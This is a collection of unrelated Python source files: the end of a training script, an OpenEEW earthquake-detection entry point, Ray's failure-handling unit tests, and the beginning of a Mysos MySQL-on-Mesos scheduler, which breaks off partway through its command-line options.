Policy(nb_inputs, nb_outputs, hp.env_name, args) normalizer = Normalizer(nb_inputs) print("start training") train(env, policy, normalizer, hp, parentPipes, args) if args.mp: for parentPipe in parentPipes: parentPipe.send([_CLOSE, "pay2"]) for p in processes: p.join()
main.py
""" This is the main file that runs the OpenEEW code package """ # import modules import time import pickle from threading import Thread from params import tt_params, det_params, ev_params from src import ( data_holders, receive_traces, receive_devices, detection, event, travel_time, ) __author__ = "Vaclav Kuna" __copyright__ = "" __license__ = "" __version__ = "1.0" __maintainer__ = "Vaclav Kuna" __email__ = "kuna.vaclav@gmail.com" __status__ = "" def main(): """Does everything""" # Pre-load keras detection model # detection_model_name = det_params["detection_model_name"] # detection_model = detection.load_model(detection_model_name) # Set travel times class travel_times = data_holders.TravelTimes(params=tt_params) # Create a RawData DataFrame. raw_data = data_holders.RawData() # Create a Devices DataFrame. devices = data_holders.Devices() # Create a Detections DataFrame. detections = data_holders.Detections() # Create a Events DataFrame. events = data_holders.Events() # We create and start our devices update worker stream = receive_devices.DeviceReceiver(travel_times, devices) receive_devices_process = Thread(target=stream.run) receive_devices_process.start() # We create and start our raw_data update worker stream = receive_traces.DataReceiver(raw_data) receive_data_process = Thread(target=stream.run) receive_data_process.start() # We create and start detection worker compute = detection.Detect( raw_data=raw_data, detections=detections, params=det_params ) detect_process = Thread(target=compute.run) detect_process.start() # We create and start event worker compute = event.Event( devices=devices, detections=detections, events=events, travel_times=travel_times, params=ev_params, ) event_process = Thread(target=compute.run) event_process.start() # We join our Threads, i.e. we wait for them to finish before continuing receive_devices_process.join() receive_data_process.join() detect_process.join() event_process.join() if __name__ == "__main__": main()
test_failure.py
import json import logging import os import sys import tempfile import threading import time import numpy as np import pytest import redis import ray import ray.ray_constants as ray_constants from ray.cluster_utils import Cluster from ray.test_utils import ( relevant_errors, wait_for_condition, wait_for_errors, RayTestTimeoutException, SignalActor, ) def test_failed_task(ray_start_regular): @ray.remote def throw_exception_fct1(): raise Exception("Test function 1 intentionally failed.") @ray.remote def throw_exception_fct2(): raise Exception("Test function 2 intentionally failed.") @ray.remote(num_return_vals=3) def throw_exception_fct3(x): raise Exception("Test function 3 intentionally failed.") throw_exception_fct1.remote() throw_exception_fct1.remote() wait_for_errors(ray_constants.TASK_PUSH_ERROR, 2) assert len(relevant_errors(ray_constants.TASK_PUSH_ERROR)) == 2 for task in relevant_errors(ray_constants.TASK_PUSH_ERROR): msg = task.get("message") assert "Test function 1 intentionally failed." in msg x = throw_exception_fct2.remote() try: ray.get(x) except Exception as e: assert "Test function 2 intentionally failed." in str(e) else: # ray.get should throw an exception. assert False x, y, z = throw_exception_fct3.remote(1.0) for ref in [x, y, z]: try: ray.get(ref) except Exception as e: assert "Test function 3 intentionally failed." in str(e) else: # ray.get should throw an exception. assert False class CustomException(ValueError): pass @ray.remote def f(): raise CustomException("This function failed.") try: ray.get(f.remote()) except Exception as e: assert "This function failed." in str(e) assert isinstance(e, CustomException) assert isinstance(e, ray.exceptions.RayTaskError) assert "RayTaskError(CustomException)" in repr(e) else: # ray.get should throw an exception. assert False def test_get_throws_quickly_when_found_exception(ray_start_regular): # We use an actor instead of functions here. If we use functions, it's # very likely that two normal tasks are submitted before the first worker # is registered to Raylet. Since `maximum_startup_concurrency` is 1, # the worker pool will wait for the registration of the first worker # and skip starting new workers. The result is, the two tasks will be # executed sequentially, which breaks an assumption of this test case - # the two tasks run in parallel. @ray.remote class Actor(object): def bad_func1(self): raise Exception("Test function intentionally failed.") def bad_func2(self): os._exit(0) def slow_func(self, signal): ray.get(signal.wait.remote()) def expect_exception(objects, exception): with pytest.raises(ray.exceptions.RayError) as err: ray.get(objects) assert err.type is exception signal1 = SignalActor.remote() actor = Actor.options(max_concurrency=2).remote() expect_exception( [actor.bad_func1.remote(), actor.slow_func.remote(signal1)], ray.exceptions.RayTaskError) ray.get(signal1.send.remote()) signal2 = SignalActor.remote() actor = Actor.options(is_direct_call=True, max_concurrency=2).remote() expect_exception( [actor.bad_func2.remote(), actor.slow_func.remote(signal2)], ray.exceptions.RayActorError) ray.get(signal2.send.remote()) def test_fail_importing_remote_function(ray_start_2_cpus): # Create the contents of a temporary Python file. temporary_python_file = """ def temporary_helper_function(): return 1 """ f = tempfile.NamedTemporaryFile(suffix=".py") f.write(temporary_python_file.encode("ascii")) f.flush() directory = os.path.dirname(f.name) # Get the module name and strip ".py" from the end. module_name = os.path.basename(f.name)[:-3] sys.path.append(directory) module = __import__(module_name) # Define a function that closes over this temporary module. This should # fail when it is unpickled. @ray.remote def g(x, y=3): try: module.temporary_python_file() except Exception: # This test is not concerned with the error from running this # function. Only from unpickling the remote function. pass # Invoke the function so that the definition is exported. g.remote(1, y=2) wait_for_errors(ray_constants.REGISTER_REMOTE_FUNCTION_PUSH_ERROR, 2) errors = relevant_errors(ray_constants.REGISTER_REMOTE_FUNCTION_PUSH_ERROR) assert len(errors) >= 2, errors assert "No module named" in errors[0]["message"] assert "No module named" in errors[1]["message"] # Check that if we try to call the function it throws an exception and # does not hang. for _ in range(10): with pytest.raises( Exception, match="This function was not imported properly."): ray.get(g.remote(1, y=2)) f.close() # Clean up the junk we added to sys.path. sys.path.pop(-1) def test_failed_function_to_run(ray_start_2_cpus): def f(worker): if ray.worker.global_worker.mode == ray.WORKER_MODE: raise Exception("Function to run failed.") ray.worker.global_worker.run_function_on_all_workers(f) wait_for_errors(ray_constants.FUNCTION_TO_RUN_PUSH_ERROR, 2) # Check that the error message is in the task info. errors = relevant_errors(ray_constants.FUNCTION_TO_RUN_PUSH_ERROR) assert len(errors) == 2 assert "Function to run failed." in errors[0]["message"] assert "Function to run failed." in errors[1]["message"] def test_fail_importing_actor(ray_start_regular): # Create the contents of a temporary Python file. temporary_python_file = """ def temporary_helper_function(): return 1 """ f = tempfile.NamedTemporaryFile(suffix=".py") f.write(temporary_python_file.encode("ascii")) f.flush() directory = os.path.dirname(f.name) # Get the module name and strip ".py" from the end. module_name = os.path.basename(f.name)[:-3] sys.path.append(directory) module = __import__(module_name) # Define an actor that closes over this temporary module. This should # fail when it is unpickled. @ray.remote class Foo: def __init__(self, arg1, arg2=3): self.x = module.temporary_python_file() def get_val(self, arg1, arg2=3): return 1 # There should be no errors yet. assert len(ray.errors()) == 0 # Create an actor. foo = Foo.remote(3, arg2=0) # Wait for the error to arrive. wait_for_errors(ray_constants.REGISTER_ACTOR_PUSH_ERROR, 1) errors = relevant_errors(ray_constants.REGISTER_ACTOR_PUSH_ERROR) assert "No module named" in errors[0]["message"] # Wait for the error from when the __init__ tries to run. wait_for_errors(ray_constants.TASK_PUSH_ERROR, 1) errors = relevant_errors(ray_constants.TASK_PUSH_ERROR) assert ("failed to be imported, and so cannot execute this method" in errors[0]["message"]) # Check that if we try to get the function it throws an exception and # does not hang. with pytest.raises(Exception, match="failed to be imported"): ray.get(foo.get_val.remote(1, arg2=2)) # Wait for the error from when the call to get_val. wait_for_errors(ray_constants.TASK_PUSH_ERROR, 2) errors = relevant_errors(ray_constants.TASK_PUSH_ERROR) assert ("failed to be imported, and so cannot execute this method" in errors[1]["message"]) f.close() # Clean up the junk we added to sys.path. sys.path.pop(-1) def test_failed_actor_init(ray_start_regular): error_message1 = "actor constructor failed" error_message2 = "actor method failed" @ray.remote class FailedActor: def __init__(self): raise Exception(error_message1) def fail_method(self): raise Exception(error_message2) a = FailedActor.remote() # Make sure that we get errors from a failed constructor. wait_for_errors(ray_constants.TASK_PUSH_ERROR, 1) errors = relevant_errors(ray_constants.TASK_PUSH_ERROR) assert len(errors) == 1 assert error_message1 in errors[0]["message"] # Make sure that we get errors from a failed method. a.fail_method.remote() wait_for_errors(ray_constants.TASK_PUSH_ERROR, 2) errors = relevant_errors(ray_constants.TASK_PUSH_ERROR) assert len(errors) == 2 assert error_message1 in errors[1]["message"] def test_failed_actor_method(ray_start_regular): error_message2 = "actor method failed" @ray.remote class FailedActor: def __init__(self): pass def fail_method(self): raise Exception(error_message2) a = FailedActor.remote() # Make sure that we get errors from a failed method. a.fail_method.remote() wait_for_errors(ray_constants.TASK_PUSH_ERROR, 1) errors = relevant_errors(ray_constants.TASK_PUSH_ERROR) assert len(errors) == 1 assert error_message2 in errors[0]["message"] def test_incorrect_method_calls(ray_start_regular): @ray.remote class Actor: def __init__(self, missing_variable_name): pass def get_val(self, x): pass # Make sure that we get errors if we call the constructor incorrectly. # Create an actor with too few arguments. with pytest.raises(Exception): a = Actor.remote() # Create an actor with too many arguments. with pytest.raises(Exception): a = Actor.remote(1, 2) # Create an actor the correct number of arguments. a = Actor.remote(1) # Call a method with too few arguments. with pytest.raises(Exception): a.get_val.remote() # Call a method with too many arguments. with pytest.raises(Exception): a.get_val.remote(1, 2) # Call a method that doesn't exist. with pytest.raises(AttributeError): a.nonexistent_method() with pytest.raises(AttributeError): a.nonexistent_method.remote() def test_worker_raising_exception(ray_start_regular): @ray.remote(max_calls=2) def f(): # This is the only reasonable variable we can set here that makes the # execute_task function fail after the task got executed. worker = ray.worker.global_worker worker.function_actor_manager.increase_task_counter = None # Running this task should cause the worker to raise an exception after # the task has successfully completed. f.remote() wait_for_errors(ray_constants.WORKER_CRASH_PUSH_ERROR, 1) def test_worker_dying(ray_start_regular): # Define a remote function that will kill the worker that runs it. @ray.remote(max_retries=0) def f(): eval("exit()") with pytest.raises(ray.exceptions.RayWorkerError): ray.get(f.remote()) wait_for_errors(ray_constants.WORKER_DIED_PUSH_ERROR, 1) errors = relevant_errors(ray_constants.WORKER_DIED_PUSH_ERROR) assert len(errors) == 1 assert "died or was killed while executing" in errors[0]["message"] def test_actor_worker_dying(ray_start_regular): @ray.remote class Actor: def kill(self): eval("exit()") @ray.remote def consume(x): pass a = Actor.remote() [obj], _ = ray.wait([a.kill.remote()], timeout=5) with pytest.raises(ray.exceptions.RayActorError): ray.get(obj) with pytest.raises(ray.exceptions.RayTaskError): ray.get(consume.remote(obj)) wait_for_errors(ray_constants.WORKER_DIED_PUSH_ERROR, 1) def test_actor_worker_dying_future_tasks(ray_start_regular): @ray.remote(max_reconstructions=0) class Actor: def getpid(self): return os.getpid() def sleep(self): time.sleep(1) a = Actor.remote() pid = ray.get(a.getpid.remote()) tasks1 = [a.sleep.remote() for _ in range(10)] os.kill(pid, 9) time.sleep(0.1) tasks2 = [a.sleep.remote() for _ in range(10)] for obj in tasks1 + tasks2: with pytest.raises(Exception): ray.get(obj) wait_for_errors(ray_constants.WORKER_DIED_PUSH_ERROR, 1) def test_actor_worker_dying_nothing_in_progress(ray_start_regular): @ray.remote(max_reconstructions=0) class Actor: def getpid(self): return os.getpid() a = Actor.remote() pid = ray.get(a.getpid.remote()) os.kill(pid, 9) time.sleep(0.1) task2 = a.getpid.remote() with pytest.raises(Exception): ray.get(task2) def test_actor_scope_or_intentionally_killed_message(ray_start_regular): @ray.remote class Actor: pass a = Actor.remote() a = Actor.remote() a.__ray_terminate__.remote() time.sleep(1) assert len( ray.errors()) == 0, ("Should not have propogated an error - {}".format( ray.errors())) @pytest.mark.skip("This test does not work yet.") @pytest.mark.parametrize( "ray_start_object_store_memory", [10**6], indirect=True) def test_put_error1(ray_start_object_store_memory): num_objects = 3 object_size = 4 * 10**5 # Define a task with a single dependency, a numpy array, that returns # another array. @ray.remote def single_dependency(i, arg): arg = np.copy(arg) arg[0] = i return arg @ray.remote def put_arg_task(): # Launch num_objects instances of the remote task, each dependent # on the one before it. The result of the first task should get # evicted. args = [] arg = single_dependency.remote(0, np.zeros( object_size, dtype=np.uint8)) for i in range(num_objects): arg = single_dependency.remote(i, arg) args.append(arg) # Get the last value to force all tasks to finish. value = ray.get(args[-1]) assert value[0] == i # Get the first value (which should have been evicted) to force # reconstruction. Currently, since we're not able to reconstruct # `ray.put` objects that were evicted and whose originating tasks # are still running, this for-loop should hang and push an error to # the driver. ray.get(args[0]) put_arg_task.remote() # Make sure we receive the correct error message. wait_for_errors(ray_constants.PUT_RECONSTRUCTION_PUSH_ERROR, 1) @pytest.mark.skip("This test does not work yet.") @pytest.mark.parametrize( "ray_start_object_store_memory", [10**6], indirect=True) def test_put_error2(ray_start_object_store_memory): # This is the same as the previous test, but it calls ray.put directly. num_objects = 3 object_size = 4 * 10**5 # Define a task with a single dependency, a numpy array, that returns # another array. @ray.remote def single_dependency(i, arg): arg = np.copy(arg) arg[0] = i return arg @ray.remote def put_task(): # Launch num_objects instances of the remote task, each dependent # on the one before it. The result of the first task should get # evicted. args = [] arg = ray.put(np.zeros(object_size, dtype=np.uint8)) for i in range(num_objects): arg = single_dependency.remote(i, arg) args.append(arg) # Get the last value to force all tasks to finish. value = ray.get(args[-1]) assert value[0] == i # Get the first value (which should have been evicted) to force # reconstruction. Currently, since we're not able to reconstruct # `ray.put` objects that were evicted and whose originating tasks # are still running, this for-loop should hang and push an error to # the driver. ray.get(args[0]) put_task.remote() # Make sure we receive the correct error message. wait_for_errors(ray_constants.PUT_RECONSTRUCTION_PUSH_ERROR, 1) def test_version_mismatch(shutdown_only): ray_version = ray.__version__ ray.__version__ = "fake ray version" ray.init(num_cpus=1) wait_for_errors(ray_constants.VERSION_MISMATCH_PUSH_ERROR, 1) # Reset the version. ray.__version__ = ray_version def test_warning_monitor_died(ray_start_2_cpus): @ray.remote def f(): pass # Wait for the monitor process to start. ray.get(f.remote()) time.sleep(1) # Cause the monitor to raise an exception by pushing a malformed message to # Redis. This will probably kill the raylet and the raylet_monitor in # addition to the monitor. fake_id = 20 * b"\x00" malformed_message = "asdf" redis_client = ray.worker.global_worker.redis_client redis_client.execute_command( "RAY.TABLE_ADD", ray.gcs_utils.TablePrefix.Value("HEARTBEAT_BATCH"), ray.gcs_utils.TablePubsub.Value("HEARTBEAT_BATCH_PUBSUB"), fake_id, malformed_message) wait_for_errors(ray_constants.MONITOR_DIED_ERROR, 1) def test_export_large_objects(ray_start_regular): import ray.ray_constants as ray_constants large_object = np.zeros(2 * ray_constants.PICKLE_OBJECT_WARNING_SIZE) @ray.remote def f(): large_object # Invoke the function so that the definition is exported. f.remote() # Make sure that a warning is generated. wait_for_errors(ray_constants.PICKLING_LARGE_OBJECT_PUSH_ERROR, 1) @ray.remote class Foo: def __init__(self): large_object Foo.remote() # Make sure that a warning is generated. wait_for_errors(ray_constants.PICKLING_LARGE_OBJECT_PUSH_ERROR, 2) @pytest.mark.skip(reason="TODO detect resource deadlock") def test_warning_for_resource_deadlock(shutdown_only): # Check that we get warning messages for infeasible tasks. ray.init(num_cpus=1) @ray.remote(num_cpus=1) class Foo: def f(self): return 0 @ray.remote def f(): # Creating both actors is not possible. actors = [Foo.remote() for _ in range(2)] for a in actors: ray.get(a.f.remote()) # Run in a task to check we handle the blocked task case correctly f.remote() wait_for_errors(ray_constants.RESOURCE_DEADLOCK_ERROR, 1, timeout=30) def test_warning_for_infeasible_tasks(ray_start_regular): # Check that we get warning messages for infeasible tasks. @ray.remote(num_gpus=1) def f(): pass @ray.remote(resources={"Custom": 1}) class Foo: pass # This task is infeasible. f.remote() wait_for_errors(ray_constants.INFEASIBLE_TASK_ERROR, 1) # This actor placement task is infeasible. Foo.remote() wait_for_errors(ray_constants.INFEASIBLE_TASK_ERROR, 2) def test_warning_for_infeasible_zero_cpu_actor(shutdown_only): # Check that we cannot place an actor on a 0 CPU machine and that we get an # infeasibility warning (even though the actor creation task itself # requires no CPUs). ray.init(num_cpus=0) @ray.remote class Foo: pass # The actor creation should be infeasible. Foo.remote() wait_for_errors(ray_constants.INFEASIBLE_TASK_ERROR, 1) def test_warning_for_too_many_actors(shutdown_only): # Check that if we run a workload which requires too many workers to be # started that we will receive a warning. num_cpus = 2 ray.init(num_cpus=num_cpus) @ray.remote class Foo: def __init__(self): time.sleep(1000) [Foo.remote() for _ in range(num_cpus * 3)] wait_for_errors(ray_constants.WORKER_POOL_LARGE_ERROR, 1) [Foo.remote() for _ in range(num_cpus)] wait_for_errors(ray_constants.WORKER_POOL_LARGE_ERROR, 2) def test_warning_for_too_many_nested_tasks(shutdown_only): # Check that if we run a workload which requires too many workers to be # started that we will receive a warning. num_cpus = 2 ray.init(num_cpus=num_cpus) @ray.remote def f(): time.sleep(1000) return 1 @ray.remote def h(): time.sleep(1) ray.get(f.remote()) @ray.remote def g(): # Sleep so that the f tasks all get submitted to the scheduler after # the g tasks. time.sleep(1) ray.get(h.remote()) [g.remote() for _ in range(num_cpus * 4)] wait_for_errors(ray_constants.WORKER_POOL_LARGE_ERROR, 1) def test_warning_for_many_duplicate_remote_functions_and_actors(shutdown_only): ray.init(num_cpus=1) @ray.remote def create_remote_function(): @ray.remote def g(): return 1 return ray.get(g.remote()) for _ in range(ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD - 1): ray.get(create_remote_function.remote()) import io log_capture_string = io.StringIO() ch = logging.StreamHandler(log_capture_string) # TODO(rkn): It's terrible to have to rely on this implementation detail, # the fact that the warning comes from ray.import_thread.logger. However, # I didn't find a good way to capture the output for all loggers # simultaneously. ray.import_thread.logger.addHandler(ch) ray.get(create_remote_function.remote()) start_time = time.time() while time.time() < start_time + 10: log_contents = log_capture_string.getvalue() if len(log_contents) > 0: break ray.import_thread.logger.removeHandler(ch) assert "remote function" in log_contents assert "has been exported {} times.".format( ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD) in log_contents # Now test the same thing but for actors. @ray.remote def create_actor_class(): # Require a GPU so that the actor is never actually created and we # don't spawn an unreasonable number of processes. @ray.remote(num_gpus=1) class Foo: pass Foo.remote() for _ in range(ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD - 1): ray.get(create_actor_class.remote()) log_capture_string = io.StringIO() ch = logging.StreamHandler(log_capture_string) # TODO(rkn): As mentioned above, it's terrible to have to rely on this # implementation detail. ray.import_thread.logger.addHandler(ch) ray.get(create_actor_class.remote()) start_time = time.time() while time.time() < start_time + 10: log_contents = log_capture_string.getvalue() if len(log_contents) > 0: break ray.import_thread.logger.removeHandler(ch) assert "actor" in log_contents assert "has been exported {} times.".format( ray_constants.DUPLICATE_REMOTE_FUNCTION_THRESHOLD) in log_contents def test_redis_module_failure(ray_start_regular): address_info = ray_start_regular address = address_info["redis_address"] address = address.split(":") assert len(address) == 2 def run_failure_test(expecting_message, *command): with pytest.raises( Exception, match=".*{}.*".format(expecting_message)): client = redis.StrictRedis( host=address[0], port=int(address[1]), password=ray_constants.REDIS_DEFAULT_PASSWORD) client.execute_command(*command) def run_one_command(*command): client = redis.StrictRedis( host=address[0], port=int(address[1]), password=ray_constants.REDIS_DEFAULT_PASSWORD) client.execute_command(*command) run_failure_test("wrong number of arguments", "RAY.TABLE_ADD", 13) run_failure_test("Prefix must be in the TablePrefix range", "RAY.TABLE_ADD", 100000, 1, 1, 1) run_failure_test("Prefix must be in the TablePrefix range", "RAY.TABLE_REQUEST_NOTIFICATIONS", 100000, 1, 1, 1) run_failure_test("Prefix must be a valid TablePrefix integer", "RAY.TABLE_ADD", b"a", 1, 1, 1) run_failure_test("Pubsub channel must be in the TablePubsub range", "RAY.TABLE_ADD", 1, 10000, 1, 1) run_failure_test("Pubsub channel must be a valid integer", "RAY.TABLE_ADD", 1, b"a", 1, 1) # Change the key from 1 to 2, since the previous command should have # succeeded at writing the key, but not publishing it. run_failure_test("Index is less than 0.", "RAY.TABLE_APPEND", 1, 1, 2, 1, -1) run_failure_test("Index is not a number.", "RAY.TABLE_APPEND", 1, 1, 2, 1, b"a") run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1) # It's okay to add duplicate entries. run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1) run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1, 0) run_one_command("RAY.TABLE_APPEND", 1, 1, 2, 1, 1) run_one_command("RAY.SET_ADD", 1, 1, 3, 1) # It's okey to add duplicate entries. run_one_command("RAY.SET_ADD", 1, 1, 3, 1) run_one_command("RAY.SET_REMOVE", 1, 1, 3, 1) # It's okey to remove duplicate entries. run_one_command("RAY.SET_REMOVE", 1, 1, 3, 1) # Note that this test will take at least 10 seconds because it must wait for # the monitor to detect enough missed heartbeats. def test_warning_for_dead_node(ray_start_cluster_2_nodes): cluster = ray_start_cluster_2_nodes cluster.wait_for_nodes() node_ids = {item["NodeID"] for item in ray.nodes()} # Try to make sure that the monitor has received at least one heartbeat # from the node. time.sleep(0.5) # Kill both raylets. cluster.list_all_nodes()[1].kill_raylet() cluster.list_all_nodes()[0].kill_raylet() # Check that we get warning messages for both raylets. wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 2, timeout=40) # Extract the client IDs from the error messages. This will need to be # changed if the error message changes. warning_node_ids = { item["message"].split(" ")[5] for item in relevant_errors(ray_constants.REMOVED_NODE_ERROR) } assert node_ids == warning_node_ids def test_raylet_crash_when_get(ray_start_regular): def sleep_to_kill_raylet(): # Don't kill raylet before default workers get connected. time.sleep(2) ray.worker._global_node.kill_raylet() object_id = ray.put(None) ray.internal.free(object_id) while ray.worker.global_worker.core_worker.object_exists(object_id): time.sleep(1) thread = threading.Thread(target=sleep_to_kill_raylet) thread.start() with pytest.raises(ray.exceptions.UnreconstructableError): ray.get(object_id) thread.join() def test_connect_with_disconnected_node(shutdown_only): config = json.dumps({ "num_heartbeats_timeout": 50, "raylet_heartbeat_timeout_milliseconds": 10, }) cluster = Cluster() cluster.add_node(num_cpus=0, _internal_config=config) ray.init(address=cluster.address) info = relevant_errors(ray_constants.REMOVED_NODE_ERROR) assert len(info) == 0 # This node is killed by SIGKILL, ray_monitor will mark it to dead. dead_node = cluster.add_node(num_cpus=0, _internal_config=config) cluster.remove_node(dead_node, allow_graceful=False) wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 1) # This node is killed by SIGKILL, ray_monitor will mark it to dead. dead_node = cluster.add_node(num_cpus=0, _internal_config=config) cluster.remove_node(dead_node, allow_graceful=False) wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 2) # This node is killed by SIGTERM, ray_monitor will not mark it again. removing_node = cluster.add_node(num_cpus=0, _internal_config=config) cluster.remove_node(removing_node, allow_graceful=True) with pytest.raises(RayTestTimeoutException): wait_for_errors(ray_constants.REMOVED_NODE_ERROR, 3, timeout=2) # There is no connection error to a dead node. info = relevant_errors(ray_constants.RAYLET_CONNECTION_ERROR) assert len(info) == 0 @pytest.mark.parametrize( "ray_start_cluster_head", [{ "num_cpus": 5, "object_store_memory": 10**8, "_internal_config": json.dumps({ "object_store_full_max_retries": 0 }) }], indirect=True) def test_parallel_actor_fill_plasma_retry(ray_start_cluster_head): @ray.remote class LargeMemoryActor: def some_expensive_task(self): return np.zeros(10**8 // 2, dtype=np.uint8) actors = [LargeMemoryActor.remote() for _ in range(5)] for _ in range(10): pending = [a.some_expensive_task.remote() for a in actors] while pending: [done], pending = ray.wait(pending, num_returns=1) def test_fill_object_store_exception(shutdown_only): ray.init( num_cpus=2, object_store_memory=10**8, _internal_config=json.dumps({ "object_store_full_max_retries": 0 })) @ray.remote def expensive_task(): return np.zeros((10**8) // 10, dtype=np.uint8) with pytest.raises(ray.exceptions.RayTaskError) as e: ray.get([expensive_task.remote() for _ in range(20)]) with pytest.raises(ray.exceptions.ObjectStoreFullError): raise e.as_instanceof_cause() @ray.remote class LargeMemoryActor: def some_expensive_task(self): return np.zeros(10**8 + 2, dtype=np.uint8) def test(self): return 1 actor = LargeMemoryActor.remote() with pytest.raises(ray.exceptions.RayTaskError): ray.get(actor.some_expensive_task.remote()) # Make sure actor does not die ray.get(actor.test.remote()) with pytest.raises(ray.exceptions.ObjectStoreFullError): ray.put(np.zeros(10**8 + 2, dtype=np.uint8)) @pytest.mark.parametrize( "ray_start_cluster", [{ "num_nodes": 1, "num_cpus": 2, }, { "num_nodes": 2, "num_cpus": 1, }], indirect=True) def test_eviction(ray_start_cluster): @ray.remote def large_object(): return np.zeros(10 * 1024 * 1024) obj = large_object.remote() assert (isinstance(ray.get(obj), np.ndarray)) # Evict the object. ray.internal.free([obj]) while ray.worker.global_worker.core_worker.object_exists(obj): time.sleep(1) # ray.get throws an exception. with pytest.raises(ray.exceptions.UnreconstructableError): ray.get(obj) @ray.remote def dependent_task(x): return # If the object is passed by reference, the task throws an # exception. with pytest.raises(ray.exceptions.RayTaskError): ray.get(dependent_task.remote(obj)) @pytest.mark.parametrize( "ray_start_cluster", [{ "num_nodes": 1, "num_cpus": 2, }, { "num_nodes": 2, "num_cpus": 1, }], indirect=True) def test_serialized_id_eviction(ray_start_cluster): @ray.remote def large_object(): return np.zeros(10 * 1024 * 1024) @ray.remote def get(obj_ids): obj_id = obj_ids[0] assert (isinstance(ray.get(obj_id), np.ndarray)) # Wait for the object to be evicted. ray.internal.free(obj_id) while ray.worker.global_worker.core_worker.object_exists(obj_id): time.sleep(1) with pytest.raises(ray.exceptions.UnreconstructableError): ray.get(obj_id) print("get done", obj_ids) obj = large_object.remote() result = get.remote([obj]) ray.internal.free(obj) ray.get(result) @pytest.mark.parametrize( "ray_start_cluster", [{ "num_nodes": 2, "num_cpus": 1, }, { "num_nodes": 1, "num_cpus": 2, }], indirect=True) def test_serialized_id(ray_start_cluster): @ray.remote def small_object(): # Sleep a bit before creating the object to force a timeout # at the getter. time.sleep(1) return 1 @ray.remote def dependent_task(x): return x @ray.remote def get(obj_ids, test_dependent_task): print("get", obj_ids) obj_id = obj_ids[0] if test_dependent_task: assert ray.get(dependent_task.remote(obj_id)) == 1 else: assert ray.get(obj_id) == 1 obj = small_object.remote() ray.get(get.remote([obj], False)) obj = small_object.remote() ray.get(get.remote([obj], True)) obj = ray.put(1) ray.get(get.remote([obj], False)) obj = ray.put(1) ray.get(get.remote([obj], True)) def test_fate_sharing(ray_start_cluster): config = json.dumps({ "num_heartbeats_timeout": 10, "raylet_heartbeat_timeout_milliseconds": 100, }) cluster = Cluster() # Head node with no resources. cluster.add_node(num_cpus=0, _internal_config=config) # Node to place the parent actor. node_to_kill = cluster.add_node(num_cpus=1, resources={"parent": 1}) # Node to place the child actor. cluster.add_node(num_cpus=1, resources={"child": 1}) cluster.wait_for_nodes() ray.init(address=cluster.address) @ray.remote def sleep(): time.sleep(1000) @ray.remote(resources={"child": 1}) def probe(): return @ray.remote class Actor(object): def __init__(self): return def start_child(self, use_actors): if use_actors: child = Actor.options(resources={"child": 1}).remote() ray.get(child.sleep.remote()) else: ray.get(sleep.options(resources={"child": 1}).remote()) def sleep(self): time.sleep(1000) def get_pid(self): return os.getpid() # Returns whether the "child" resource is available. def child_resource_available(): p = probe.remote() ready, _ = ray.wait([p], timeout=1) return len(ready) > 0 # Test fate sharing if the parent process dies. def test_process_failure(use_actors): a = Actor.options(resources={"parent": 1}).remote() pid = ray.get(a.get_pid.remote()) a.start_child.remote(use_actors=use_actors) # Wait for the child to be scheduled. assert wait_for_condition( lambda: not child_resource_available(), timeout_ms=10000) # Kill the parent process. os.kill(pid, 9) assert wait_for_condition(child_resource_available, timeout_ms=10000) # Test fate sharing if the parent node dies. def test_node_failure(node_to_kill, use_actors): a = Actor.options(resources={"parent": 1}).remote() a.start_child.remote(use_actors=use_actors) # Wait for the child to be scheduled. assert wait_for_condition( lambda: not child_resource_available(), timeout_ms=10000) # Kill the parent process. cluster.remove_node(node_to_kill, allow_graceful=False) node_to_kill = cluster.add_node(num_cpus=1, resources={"parent": 1}) assert wait_for_condition(child_resource_available, timeout_ms=10000) return node_to_kill test_process_failure(use_actors=True) test_process_failure(use_actors=False) node_to_kill = test_node_failure(node_to_kill, use_actors=True) node_to_kill = test_node_failure(node_to_kill, use_actors=False) if __name__ == "__main__": import pytest sys.exit(pytest.main(["-v", __file__]))
mysos_scheduler.py
import os import tempfile from mysos.common import pkgutil, zookeeper from .http import MysosServer from .scheduler import MysosScheduler from .state import LocalStateProvider, Scheduler, StateProvider from .zk_state import ZooKeeperStateProvider from kazoo.client import KazooClient import mesos.interface from mesos.interface.mesos_pb2 import Credential, FrameworkInfo import mesos.native from twitter.common import app, log from twitter.common.exceptions import ExceptionalThread from twitter.common.http import HttpServer from twitter.common.log.options import LogOptions from twitter.common.quantity import Time from twitter.common.quantity.parse_simple import InvalidTime, parse_time import yaml FRAMEWORK_NAME = 'mysos' MYSOS_MODULE = 'mysos.scheduler' ASSET_RELPATH = 'assets' LogOptions.disable_disk_logging() LogOptions.set_stderr_log_level('google:INFO') def proxy_main(): app.add_option( '--port', dest='api_port', type='int', default=None, help='Port for the HTTP API server') app.add_option( '--mesos_master', dest='mesos_master', default=None, help='Mesos master address. It can be a ZooKeeper URL through which the master can be ' 'detected') app.add_option( '--framework_user', dest='framework_user', help='The Unix user that Mysos executor runs as') app.add_option( '--framework_role', dest='framework_role', default='*', help="The role that Mysos framework runs as. If set, Mysos only uses Mesos pool resources " "with that role. The default value '*' is what Mesos considers as the default role.\n" "NOTE: Mesos master needs to be configured to allow the specified role. See its --roles " "flag") app.add_option( '--executor_uri', dest='executor_uri', default=None, help='URI for the Mysos executor package') app.add_option( '--executor_cmd', dest='executor_cmd', default=None, help='Command to execute the executor package') app.add_option( '--executor_environ', dest='executor_environ', default=None, help="Environment variables for the executors (and the tasks) as a list of dicts keyed by " "{name, value} in JSON. Note that these variables don't affect Mesos slave components " "such as the fetcher") app.add_option( '--zk_url', dest='zk_url', default=None, help='ZooKeeper URL for various Mysos operations, in the form of ' '"zk://username:password@servers/path". The sub-directory <zk_url>/discover is used for ' 'communicating MySQL cluster information between Mysos scheduler and executors') # TODO(jyx): This could also be made a per-cluster configuration. app.add_option( '--election_timeout', dest='election_timeout', default='60s', help='The amount of time the scheduler waits for all slaves to respond during a MySQL master ' 'election, e.g., 60s. After the timeout the master is elected from only the slaves that ' 'have responded') app.add_option( '--admin_keypath', dest='admin_keypath', default=None, help='The path to the key file with MySQL admin credentials on Mesos slaves') app.add_option( 